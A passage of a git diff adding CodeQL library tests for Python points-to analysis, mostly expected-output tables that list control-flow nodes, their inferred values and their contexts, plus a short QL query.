ControlFlowNode for IfExp | 83 | +| c_tests.py:83 | ControlFlowNode for b | 83 | +| c_tests.py:83 | ControlFlowNode for cond | 83 | +| c_tests.py:83 | ControlFlowNode for unknown | 83 | +| c_tests.py:83 | ControlFlowNode for unknown() | 83 | +| c_tests.py:84 | ControlFlowNode for b | 83 | +| c_tests.py:87 | ControlFlowNode for unknown | 87 | +| c_tests.py:87 | ControlFlowNode for unknown() | 87 | +| c_tests.py:90 | ControlFlowNode for IfExp | 90 | +| c_tests.py:90 | ControlFlowNode for cond | 90 | +| c_tests.py:90 | ControlFlowNode for unknown | 90 | +| c_tests.py:90 | ControlFlowNode for unknown() | 90 | +| c_tests.py:90 | ControlFlowNode for x | 90 | +| c_tests.py:91 | ControlFlowNode for x | 90 | +| c_tests.py:94 | ControlFlowNode for IfExp | 94 | +| c_tests.py:94 | ControlFlowNode for cond | 94 | +| c_tests.py:94 | ControlFlowNode for unknown | 94 | +| c_tests.py:94 | ControlFlowNode for unknown() | 94 | +| c_tests.py:94 | ControlFlowNode for x | 94 | +| c_tests.py:95 | ControlFlowNode for x | 94 | +| c_tests.py:99 | ControlFlowNode for bar | 99 | +| c_tests.py:99 | ControlFlowNode for bar() | 99 | +| c_tests.py:99 | ControlFlowNode for foo | 99 | +| c_tests.py:99 | ControlFlowNode for foo() | 99 | +| c_tests.py:99 | ControlFlowNode for x | 98 | +| c_tests.py:100 | ControlFlowNode for use | 100 | +| c_tests.py:100 | ControlFlowNode for use() | 100 | +| c_tests.py:100 | ControlFlowNode for x | 98 | +| h_classes.py:12 | ControlFlowNode for name | 12 | +| h_classes.py:17 | ControlFlowNode for arg | 14 | +| h_classes.py:18 | ControlFlowNode for name | 18 | +| h_classes.py:26 | ControlFlowNode for choice | 25 | +| h_classes.py:28 | ControlFlowNode for choice | 25 | +| h_classes.py:42 | ControlFlowNode for unknown | 42 | +| h_classes.py:42 | ControlFlowNode for unknown() | 42 | +| r_regressions.py:29 | ControlFlowNode for x | 27 | +| r_regressions.py:31 | ControlFlowNode for y | 27 | +| r_regressions.py:33 | ControlFlowNode for y | 27 | +| r_regressions.py:36 | ControlFlowNode for z | 27 | +| r_regressions.py:39 | ControlFlowNode for use | 39 | +| r_regressions.py:39 | ControlFlowNode for use() | 39 | +| r_regressions.py:39 | ControlFlowNode for y | 27 | +| r_regressions.py:43 | ControlFlowNode for List | 43 | +| r_regressions.py:43 | ControlFlowNode for x | 43 | +| r_regressions.py:43 | ControlFlowNode for x() | 43 | +| r_regressions.py:52 | ControlFlowNode for msg | 51 | +| r_regressions.py:64 | ControlFlowNode for do_validation | 64 | +| r_regressions.py:64 | ControlFlowNode for do_validation() | 64 | diff --git a/python/ql/test/library-tests/PointsTo/new/PointsToUnknown.ql b/python/ql/test/library-tests/PointsTo/new/PointsToUnknown.ql new file mode 100644 index 00000000000..e8258bc53a3 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/PointsToUnknown.ql @@ -0,0 +1,9 @@ +import python +import Util +import semmle.python.pointsto.PointsTo + +from ControlFlowNode f, ControlFlowNode x + +where PointsTo::points_to(f, _, unknownValue(), _, x) + +select locate(f.getLocation(), "abchr"), f.toString(), x.getLocation().getStartLine() diff --git a/python/ql/test/library-tests/PointsTo/new/PointsToWithContext.expected b/python/ql/test/library-tests/PointsTo/new/PointsToWithContext.expected new file mode 100755 index 00000000000..80ac9fb72c9 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/PointsToWithContext.expected @@ -0,0 +1,1111 @@ +| a_simple.py:2 | ControlFlowNode for FloatLiteral | float 1.0 | builtin-class float | 2 | import | +| a_simple.py:2 | ControlFlowNode for f1 | float 1.0 | builtin-class float | 2 | import | +| a_simple.py:3 | ControlFlowNode for dict | builtin-class dict | builtin-class type | 3 | import | +| a_simple.py:4 | ControlFlowNode for tuple | builtin-class tuple | builtin-class type | 4 | import | +| a_simple.py:5 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 5 | import | +| a_simple.py:5 | ControlFlowNode for i1 | int 0 | builtin-class int | 5 | import | +| a_simple.py:6 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 6 | import | +| a_simple.py:6 | ControlFlowNode for s | Tuple | builtin-class tuple | 6 | import | +| a_simple.py:8 | ControlFlowNode for FunctionExpr | Function func | builtin-class function | 8 | import | +| a_simple.py:8 | ControlFlowNode for func | Function func | builtin-class function | 8 | import | +| a_simple.py:11 | ControlFlowNode for C | class C | builtin-class type | 11 | import | +| a_simple.py:11 | ControlFlowNode for ClassExpr | class C | builtin-class type | 11 | import | +| a_simple.py:11 | ControlFlowNode for object | builtin-class object | builtin-class type | 11 | import | +| a_simple.py:14 | ControlFlowNode for FunctionExpr | Function vararg_kwarg | builtin-class function | 14 | import | +| a_simple.py:14 | ControlFlowNode for d | d | builtin-class dict | 14 | runtime | +| a_simple.py:14 | ControlFlowNode for t | t | builtin-class tuple | 14 | runtime | +| a_simple.py:14 | ControlFlowNode for vararg_kwarg | Function vararg_kwarg | builtin-class function | 14 | import | +| a_simple.py:15 | ControlFlowNode for t | t | builtin-class tuple | 14 | runtime | +| a_simple.py:16 | ControlFlowNode for d | d | builtin-class dict | 14 | runtime | +| a_simple.py:18 | ControlFlowNode for FunctionExpr | Function multi_loop | builtin-class function | 18 | import | +| a_simple.py:18 | ControlFlowNode for multi_loop | Function multi_loop | builtin-class function | 18 | import | +| a_simple.py:19 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 19 | runtime | +| a_simple.py:19 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 19 | runtime | +| a_simple.py:20 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 20 | runtime | +| a_simple.py:23 | ControlFlowNode for FunctionExpr | Function with_definition | builtin-class function | 23 | import | +| a_simple.py:23 | ControlFlowNode for with_definition | Function with_definition | builtin-class function | 23 | import | +| a_simple.py:27 | ControlFlowNode for FunctionExpr | Function multi_loop_in_try | builtin-class function | 27 | import | +| a_simple.py:27 | ControlFlowNode for multi_loop_in_try | Function multi_loop_in_try | builtin-class function | 27 | import | +| a_simple.py:29 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 29 | runtime | +| a_simple.py:31 | ControlFlowNode for KeyError | builtin-class KeyError | builtin-class type | 31 | runtime | +| a_simple.py:34 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | 34 | import | +| a_simple.py:34 | ControlFlowNode for args | args | builtin-class tuple | 34 | runtime | +| a_simple.py:34 | ControlFlowNode for f | Function f | builtin-class function | 34 | import | +| a_simple.py:34 | ControlFlowNode for kwargs | kwargs | builtin-class dict | 34 | runtime | +| a_simple.py:35 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 35 | runtime | +| a_simple.py:35 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 35 | runtime | +| a_simple.py:35 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 35 | runtime | +| a_simple.py:35 | ControlFlowNode for args | args | builtin-class tuple | 34 | runtime | +| a_simple.py:36 | ControlFlowNode for Str | 'x' | builtin-class str | 36 | runtime | +| a_simple.py:36 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 36 | runtime | +| a_simple.py:36 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 36 | runtime | +| a_simple.py:36 | ControlFlowNode for kwargs | kwargs | builtin-class dict | 34 | runtime | +| b_condition.py:4 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | 4 | import | +| b_condition.py:4 | ControlFlowNode for f | Function f | builtin-class function | 4 | import | +| b_condition.py:5 | ControlFlowNode for IfExp | NoneType None | builtin-class NoneType | 5 | runtime | +| b_condition.py:5 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 5 | runtime | +| b_condition.py:5 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 5 | runtime | +| b_condition.py:7 | ControlFlowNode for Compare | bool False | builtin-class bool | 7 | runtime | +| b_condition.py:7 | ControlFlowNode for Compare | bool True | builtin-class bool | 7 | runtime | +| b_condition.py:7 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 7 | runtime | +| b_condition.py:7 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 5 | runtime | +| b_condition.py:8 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 8 | runtime | +| b_condition.py:8 | ControlFlowNode for x | int 7 | builtin-class int | 8 | runtime | +| b_condition.py:9 | ControlFlowNode for x | int 7 | builtin-class int | 8 | runtime | +| b_condition.py:11 | ControlFlowNode for IfExp | NoneType None | builtin-class NoneType | 11 | runtime | +| b_condition.py:11 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 11 | runtime | +| b_condition.py:11 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 11 | runtime | +| b_condition.py:13 | ControlFlowNode for Compare | bool False | builtin-class bool | 13 | runtime | +| b_condition.py:13 | ControlFlowNode for Compare | bool True | builtin-class bool | 13 | runtime | +| b_condition.py:13 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 13 | runtime | +| b_condition.py:13 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 11 | runtime | +| b_condition.py:14 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 14 | runtime | +| b_condition.py:14 | ControlFlowNode for x | int 7 | builtin-class int | 14 | runtime | +| b_condition.py:15 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 11 | runtime | +| b_condition.py:15 | ControlFlowNode for x | int 7 | builtin-class int | 14 | runtime | +| b_condition.py:17 | ControlFlowNode for IfExp | NoneType None | builtin-class NoneType | 17 | runtime | +| b_condition.py:17 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 17 | runtime | +| b_condition.py:17 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 17 | runtime | +| b_condition.py:19 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 19 | runtime | +| b_condition.py:19 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 19 | runtime | +| b_condition.py:19 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 17 | runtime | +| b_condition.py:20 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 20 | runtime | +| b_condition.py:20 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 20 | runtime | +| b_condition.py:21 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 20 | runtime | +| b_condition.py:23 | ControlFlowNode for IfExp | NoneType None | builtin-class NoneType | 23 | runtime | +| b_condition.py:23 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 23 | runtime | +| b_condition.py:23 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 23 | runtime | +| b_condition.py:25 | ControlFlowNode for IfExp | int 1 | builtin-class int | 25 | runtime | +| b_condition.py:25 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 25 | runtime | +| b_condition.py:25 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 23 | runtime | +| b_condition.py:25 | ControlFlowNode for x | int 1 | builtin-class int | 25 | runtime | +| b_condition.py:26 | ControlFlowNode for x | int 1 | builtin-class int | 25 | runtime | +| b_condition.py:28 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 28 | runtime | +| b_condition.py:28 | ControlFlowNode for x | int 1 | builtin-class int | 28 | runtime | +| b_condition.py:29 | ControlFlowNode for x | int 1 | builtin-class int | 25 | runtime | +| b_condition.py:29 | ControlFlowNode for x | int 1 | builtin-class int | 28 | runtime | +| b_condition.py:31 | ControlFlowNode for IfExp | int 1 | builtin-class int | 31 | runtime | +| b_condition.py:31 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 31 | runtime | +| b_condition.py:31 | ControlFlowNode for x | int 1 | builtin-class int | 31 | runtime | +| b_condition.py:32 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 32 | runtime | +| b_condition.py:32 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 32 | runtime | +| b_condition.py:32 | ControlFlowNode for x | int 1 | builtin-class int | 31 | runtime | +| b_condition.py:33 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 33 | runtime | +| b_condition.py:33 | ControlFlowNode for x | int 7 | builtin-class int | 33 | runtime | +| b_condition.py:34 | ControlFlowNode for x | int 1 | builtin-class int | 31 | runtime | +| b_condition.py:34 | ControlFlowNode for x | int 7 | builtin-class int | 33 | runtime | +| b_condition.py:36 | ControlFlowNode for int | builtin-class int | builtin-class type | 36 | runtime | +| b_condition.py:36 | ControlFlowNode for isinstance | Builtin-function isinstance | builtin-class builtin_function_or_method | 36 | runtime | +| b_condition.py:36 | ControlFlowNode for isinstance() | bool False | builtin-class bool | 36 | runtime | +| b_condition.py:36 | ControlFlowNode for isinstance() | bool True | builtin-class bool | 36 | runtime | +| b_condition.py:36 | ControlFlowNode for x | int 1 | builtin-class int | 31 | runtime | +| b_condition.py:36 | ControlFlowNode for x | int 7 | builtin-class int | 33 | runtime | +| b_condition.py:37 | ControlFlowNode for x | int 1 | builtin-class int | 31 | runtime | +| b_condition.py:37 | ControlFlowNode for x | int 7 | builtin-class int | 33 | runtime | +| b_condition.py:41 | ControlFlowNode for Attribute | int 1 | builtin-class int | 41 | import | +| b_condition.py:41 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 41 | import | +| b_condition.py:42 | ControlFlowNode for Compare | bool False | builtin-class bool | 42 | import | +| b_condition.py:42 | ControlFlowNode for Compare | bool True | builtin-class bool | 42 | import | +| b_condition.py:42 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 42 | import | +| b_condition.py:43 | ControlFlowNode for Attribute | int 1 | builtin-class int | 41 | import | +| b_condition.py:50 | ControlFlowNode for FunctionExpr | Function g | builtin-class function | 50 | import | +| b_condition.py:50 | ControlFlowNode for g | Function g | builtin-class function | 50 | import | +| b_condition.py:55 | ControlFlowNode for FunctionExpr | Function loop | builtin-class function | 55 | import | +| b_condition.py:55 | ControlFlowNode for loop | Function loop | builtin-class function | 55 | import | +| b_condition.py:61 | ControlFlowNode for FunctionExpr | Function double_attr_check | builtin-class function | 61 | import | +| b_condition.py:61 | ControlFlowNode for double_attr_check | Function double_attr_check | builtin-class function | 61 | import | +| b_condition.py:62 | ControlFlowNode for Compare | bool False | builtin-class bool | 62 | runtime | +| b_condition.py:62 | ControlFlowNode for Compare | bool True | builtin-class bool | 62 | runtime | +| b_condition.py:62 | ControlFlowNode for IntegerLiteral | int 3 | builtin-class int | 62 | runtime | +| b_condition.py:65 | ControlFlowNode for Compare | bool False | builtin-class bool | 65 | runtime | +| b_condition.py:65 | ControlFlowNode for Compare | bool True | builtin-class bool | 65 | runtime | +| b_condition.py:65 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 65 | runtime | +| b_condition.py:66 | ControlFlowNode for Compare | bool False | builtin-class bool | 66 | runtime | +| b_condition.py:66 | ControlFlowNode for Compare | bool True | builtin-class bool | 66 | runtime | +| b_condition.py:69 | ControlFlowNode for FunctionExpr | Function h | builtin-class function | 69 | import | +| b_condition.py:69 | ControlFlowNode for h | Function h | builtin-class function | 69 | import | +| b_condition.py:70 | ControlFlowNode for IfExp | bool True | builtin-class bool | 70 | runtime | +| b_condition.py:70 | ControlFlowNode for True | bool True | builtin-class bool | 70 | runtime | +| b_condition.py:70 | ControlFlowNode for b | bool True | builtin-class bool | 70 | runtime | +| b_condition.py:71 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 71 | runtime | +| b_condition.py:71 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 71 | runtime | +| b_condition.py:71 | ControlFlowNode for b | bool True | builtin-class bool | 70 | runtime | +| b_condition.py:72 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 72 | runtime | +| b_condition.py:72 | ControlFlowNode for b | int 7 | builtin-class int | 72 | runtime | +| b_condition.py:73 | ControlFlowNode for b | bool True | builtin-class bool | 70 | runtime | +| b_condition.py:73 | ControlFlowNode for b | int 7 | builtin-class int | 72 | runtime | +| b_condition.py:75 | ControlFlowNode for FunctionExpr | Function k | builtin-class function | 75 | import | +| b_condition.py:75 | ControlFlowNode for k | Function k | builtin-class function | 75 | import | +| b_condition.py:76 | ControlFlowNode for t | builtin-class type | builtin-class type | 76 | runtime | +| b_condition.py:76 | ControlFlowNode for type | builtin-class type | builtin-class type | 76 | runtime | +| b_condition.py:77 | ControlFlowNode for Compare | bool True | builtin-class bool | 77 | runtime | +| b_condition.py:77 | ControlFlowNode for object | builtin-class object | builtin-class type | 77 | runtime | +| b_condition.py:77 | ControlFlowNode for t | builtin-class type | builtin-class type | 76 | runtime | +| b_condition.py:78 | ControlFlowNode for object | builtin-class object | builtin-class type | 78 | runtime | +| b_condition.py:78 | ControlFlowNode for t | builtin-class object | builtin-class type | 78 | runtime | +| b_condition.py:79 | ControlFlowNode for t | builtin-class object | builtin-class type | 78 | runtime | +| b_condition.py:81 | ControlFlowNode for FunctionExpr | Function odasa6261 | builtin-class function | 81 | import | +| b_condition.py:81 | ControlFlowNode for True | bool True | builtin-class bool | 81 | import | +| b_condition.py:81 | ControlFlowNode for odasa6261 | Function odasa6261 | builtin-class function | 81 | import | +| b_condition.py:82 | ControlFlowNode for callable | Builtin-function callable | builtin-class builtin_function_or_method | 82 | runtime | +| b_condition.py:82 | ControlFlowNode for callable() | bool False | builtin-class bool | 82 | runtime | +| b_condition.py:82 | ControlFlowNode for callable() | bool True | builtin-class bool | 82 | runtime | +| b_condition.py:82 | ControlFlowNode for foo | bool True | builtin-class bool | 81 | runtime | +| b_condition.py:83 | ControlFlowNode for FunctionExpr | Function bar | builtin-class function | 83 | runtime | +| b_condition.py:83 | ControlFlowNode for bar | Function bar | builtin-class function | 83 | runtime | +| b_condition.py:87 | ControlFlowNode for FunctionExpr | Function split_bool1 | builtin-class function | 87 | import | +| b_condition.py:87 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 87 | import | +| b_condition.py:87 | ControlFlowNode for split_bool1 | Function split_bool1 | builtin-class function | 87 | import | +| b_condition.py:88 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 87 | runtime | +| b_condition.py:88 | ControlFlowNode for y | NoneType None | builtin-class NoneType | 87 | runtime | +| b_condition.py:90 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 87 | runtime | +| b_condition.py:90 | ControlFlowNode for y | NoneType None | builtin-class NoneType | 87 | runtime | +| b_condition.py:92 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 87 | runtime | +| b_condition.py:93 | ControlFlowNode for y | NoneType None | builtin-class NoneType | 87 | runtime | +| b_condition.py:96 | ControlFlowNode for y | NoneType None | builtin-class NoneType | 87 | runtime | +| b_condition.py:97 | ControlFlowNode for x | NoneType None | builtin-class NoneType | 87 | runtime | +| b_condition.py:101 | ControlFlowNode for FunctionExpr | Function not_or_not | builtin-class function | 101 | import | +| b_condition.py:101 | ControlFlowNode for a | a | builtin-class tuple | 101 | runtime | +| b_condition.py:101 | ControlFlowNode for not_or_not | Function not_or_not | builtin-class function | 101 | import | +| b_condition.py:102 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | 102 | runtime | +| b_condition.py:102 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 102 | runtime | +| b_condition.py:102 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 102 | runtime | +| b_condition.py:102 | ControlFlowNode for a | a | builtin-class tuple | 101 | runtime | +| b_condition.py:102 | ControlFlowNode for isinstance | Builtin-function isinstance | builtin-class builtin_function_or_method | 102 | runtime | +| b_condition.py:102 | ControlFlowNode for isinstance() | bool False | builtin-class bool | 102 | runtime | +| b_condition.py:102 | ControlFlowNode for isinstance() | bool True | builtin-class bool | 102 | runtime | +| b_condition.py:102 | ControlFlowNode for list | builtin-class list | builtin-class type | 102 | runtime | +| b_condition.py:102 | ControlFlowNode for tuple | builtin-class tuple | builtin-class type | 102 | runtime | +| b_condition.py:103 | ControlFlowNode for TypeError | builtin-class TypeError | builtin-class type | 103 | runtime | +| b_condition.py:103 | ControlFlowNode for TypeError() | TypeError() | builtin-class TypeError | 103 | runtime | +| b_condition.py:104 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 104 | runtime | +| b_condition.py:104 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 104 | runtime | +| b_condition.py:104 | ControlFlowNode for a | a | builtin-class tuple | 101 | runtime | +| b_condition.py:105 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 105 | runtime | +| b_condition.py:105 | ControlFlowNode for UnaryExpr | bool False | builtin-class bool | 105 | runtime | +| b_condition.py:105 | ControlFlowNode for UnaryExpr | bool True | builtin-class bool | 105 | runtime | +| b_condition.py:105 | ControlFlowNode for a | a | builtin-class tuple | 101 | runtime | +| b_condition.py:106 | ControlFlowNode for Exception | builtin-class Exception | builtin-class type | 106 | runtime | +| b_condition.py:106 | ControlFlowNode for Exception() | Exception() | builtin-class Exception | 106 | runtime | +| b_condition.py:107 | ControlFlowNode for Str | 'Hello' | builtin-class str | 107 | runtime | +| e_temporal.py:2 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | 2 | import | +| e_temporal.py:2 | ControlFlowNode for sys | Module sys | builtin-class module | 2 | import | +| e_temporal.py:4 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | 4 | import | +| e_temporal.py:4 | ControlFlowNode for f | Function f | builtin-class function | 4 | import | +| e_temporal.py:5 | ControlFlowNode for Attribute | list object | builtin-class list | 5 | code/e_temporal.py:12 from import | +| e_temporal.py:5 | ControlFlowNode for Attribute | list object | builtin-class list | 5 | runtime | +| e_temporal.py:5 | ControlFlowNode for Compare | bool False | builtin-class bool | 5 | code/e_temporal.py:12 from import | +| e_temporal.py:5 | ControlFlowNode for Compare | bool False | builtin-class bool | 5 | runtime | +| e_temporal.py:5 | ControlFlowNode for Compare | bool True | builtin-class bool | 5 | code/e_temporal.py:12 from import | +| e_temporal.py:5 | ControlFlowNode for Compare | bool True | builtin-class bool | 5 | runtime | +| e_temporal.py:5 | ControlFlowNode for IntegerLiteral | int 3 | builtin-class int | 5 | code/e_temporal.py:12 from import | +| e_temporal.py:5 | ControlFlowNode for IntegerLiteral | int 3 | builtin-class int | 5 | runtime | +| e_temporal.py:5 | ControlFlowNode for len | Builtin-function len | builtin-class builtin_function_or_method | 5 | code/e_temporal.py:12 from import | +| e_temporal.py:5 | ControlFlowNode for len | Builtin-function len | builtin-class builtin_function_or_method | 5 | runtime | +| e_temporal.py:5 | ControlFlowNode for len() | len() | builtin-class int | 5 | code/e_temporal.py:12 from import | +| e_temporal.py:5 | ControlFlowNode for len() | len() | builtin-class int | 5 | runtime | +| e_temporal.py:5 | ControlFlowNode for sys | Module sys | builtin-class module | 2 | code/e_temporal.py:12 from import | +| e_temporal.py:5 | ControlFlowNode for sys | Module sys | builtin-class module | 2 | runtime | +| e_temporal.py:7 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 7 | code/e_temporal.py:12 from import | +| e_temporal.py:7 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 7 | runtime | +| e_temporal.py:9 | ControlFlowNode for FunctionExpr | Function g | builtin-class function | 9 | import | +| e_temporal.py:9 | ControlFlowNode for g | Function g | builtin-class function | 9 | import | +| e_temporal.py:10 | ControlFlowNode for arg | int 1 | builtin-class int | 7 | code/e_temporal.py:12 from import | +| e_temporal.py:12 | ControlFlowNode for f | Function f | builtin-class function | 4 | import | +| e_temporal.py:12 | ControlFlowNode for f() | int 1 | builtin-class int | 7 | import | +| e_temporal.py:12 | ControlFlowNode for g | Function g | builtin-class function | 9 | import | +| e_temporal.py:12 | ControlFlowNode for g() | int 1 | builtin-class int | 7 | import | +| e_temporal.py:12 | ControlFlowNode for x | int 1 | builtin-class int | 7 | import | +| g_class_init.py:3 | ControlFlowNode for C | class C | builtin-class type | 3 | import | +| g_class_init.py:3 | ControlFlowNode for ClassExpr | class C | builtin-class type | 3 | import | +| g_class_init.py:3 | ControlFlowNode for object | builtin-class object | builtin-class type | 3 | import | +| g_class_init.py:5 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 5 | import | +| g_class_init.py:5 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 5 | import | +| g_class_init.py:6 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 9 | runtime | +| g_class_init.py:6 | ControlFlowNode for self | self | class C | 5 | runtime | +| g_class_init.py:7 | ControlFlowNode for Attribute | int 1 | builtin-class int | 7 | runtime | +| g_class_init.py:7 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 7 | runtime | +| g_class_init.py:7 | ControlFlowNode for self | self | class C | 5 | runtime | +| g_class_init.py:9 | ControlFlowNode for FunctionExpr | Function _init | builtin-class function | 9 | import | +| g_class_init.py:9 | ControlFlowNode for _init | Function _init | builtin-class function | 9 | import | +| g_class_init.py:10 | ControlFlowNode for Attribute | int 2 | builtin-class int | 10 | code/g_class_init.py:6 from runtime | +| g_class_init.py:10 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | 10 | code/g_class_init.py:6 from runtime | +| g_class_init.py:10 | ControlFlowNode for self | self | class C | 5 | code/g_class_init.py:6 from runtime | +| g_class_init.py:11 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 13 | code/g_class_init.py:6 from runtime | +| g_class_init.py:11 | ControlFlowNode for self | self | class C | 5 | code/g_class_init.py:6 from runtime | +| g_class_init.py:13 | ControlFlowNode for FunctionExpr | Function _init2 | builtin-class function | 13 | import | +| g_class_init.py:13 | ControlFlowNode for _init2 | Function _init2 | builtin-class function | 13 | import | +| g_class_init.py:14 | ControlFlowNode for Attribute | int 3 | builtin-class int | 14 | code/g_class_init.py:11 from code/g_class_init.py:6 from runtime | +| g_class_init.py:14 | ControlFlowNode for IntegerLiteral | int 3 | builtin-class int | 14 | code/g_class_init.py:11 from code/g_class_init.py:6 from runtime | +| g_class_init.py:14 | ControlFlowNode for self | self | class C | 5 | code/g_class_init.py:11 from code/g_class_init.py:6 from runtime | +| g_class_init.py:16 | ControlFlowNode for FunctionExpr | Function method | builtin-class function | 16 | import | +| g_class_init.py:16 | ControlFlowNode for method | Function method | builtin-class function | 16 | import | +| g_class_init.py:17 | ControlFlowNode for Attribute | int 1 | builtin-class int | 7 | runtime | +| g_class_init.py:17 | ControlFlowNode for self | self | class C | 16 | runtime | +| g_class_init.py:18 | ControlFlowNode for Attribute | int 2 | builtin-class int | 10 | runtime | +| g_class_init.py:18 | ControlFlowNode for int | builtin-class int | builtin-class type | 18 | runtime | +| g_class_init.py:18 | ControlFlowNode for isinstance | Builtin-function isinstance | builtin-class builtin_function_or_method | 18 | runtime | +| g_class_init.py:18 | ControlFlowNode for isinstance() | bool True | builtin-class bool | 18 | runtime | +| g_class_init.py:18 | ControlFlowNode for self | self | class C | 16 | runtime | +| g_class_init.py:19 | ControlFlowNode for Attribute | int 2 | builtin-class int | 10 | runtime | +| g_class_init.py:19 | ControlFlowNode for self | self | class C | 16 | runtime | +| g_class_init.py:20 | ControlFlowNode for Attribute | int 3 | builtin-class int | 14 | runtime | +| g_class_init.py:20 | ControlFlowNode for self | self | class C | 16 | runtime | +| g_class_init.py:24 | ControlFlowNode for ClassExpr | class Oddities | builtin-class type | 24 | import | +| g_class_init.py:24 | ControlFlowNode for Oddities | class Oddities | builtin-class type | 24 | import | +| g_class_init.py:24 | ControlFlowNode for object | builtin-class object | builtin-class type | 24 | import | +| g_class_init.py:26 | ControlFlowNode for int | builtin-class int | builtin-class type | 26 | import | +| g_class_init.py:27 | ControlFlowNode for float | builtin-class float | builtin-class type | 27 | import | +| g_class_init.py:28 | ControlFlowNode for l | Builtin-function len | builtin-class builtin_function_or_method | 28 | import | +| g_class_init.py:28 | ControlFlowNode for len | Builtin-function len | builtin-class builtin_function_or_method | 28 | import | +| g_class_init.py:29 | ControlFlowNode for h | Builtin-function hash | builtin-class builtin_function_or_method | 29 | import | +| g_class_init.py:29 | ControlFlowNode for hash | Builtin-function hash | builtin-class builtin_function_or_method | 29 | import | +| g_class_init.py:32 | ControlFlowNode for ClassExpr | class D | builtin-class type | 32 | import | +| g_class_init.py:32 | ControlFlowNode for D | class D | builtin-class type | 32 | import | +| g_class_init.py:32 | ControlFlowNode for object | builtin-class object | builtin-class type | 32 | import | +| g_class_init.py:34 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 34 | import | +| g_class_init.py:34 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 34 | import | +| g_class_init.py:35 | ControlFlowNode for Attribute | super().x | builtin-class method | 35 | runtime | +| g_class_init.py:35 | ControlFlowNode for D | class D | builtin-class type | 32 | runtime | +| g_class_init.py:35 | ControlFlowNode for self | self | class D | 34 | runtime | +| g_class_init.py:35 | ControlFlowNode for super | builtin-class super | builtin-class type | 35 | runtime | +| g_class_init.py:35 | ControlFlowNode for super() | super() | builtin-class super | 35 | runtime | +| g_class_init.py:36 | ControlFlowNode for Attribute | super().__init__ | builtin-class method | 36 | runtime | +| g_class_init.py:36 | ControlFlowNode for D | class D | builtin-class type | 32 | runtime | +| g_class_init.py:36 | ControlFlowNode for self | self | class D | 34 | runtime | +| g_class_init.py:36 | ControlFlowNode for super | builtin-class super | builtin-class type | 36 | runtime | +| g_class_init.py:36 | ControlFlowNode for super() | super() | builtin-class super | 36 | runtime | +| g_class_init.py:42 | ControlFlowNode for Str | 'v2' | builtin-class str | 42 | import | +| g_class_init.py:42 | ControlFlowNode for V2 | 'v2' | builtin-class str | 42 | import | +| g_class_init.py:43 | ControlFlowNode for Str | 'v3' | builtin-class str | 43 | import | +| g_class_init.py:43 | ControlFlowNode for V3 | 'v3' | builtin-class str | 43 | import | +| g_class_init.py:45 | ControlFlowNode for 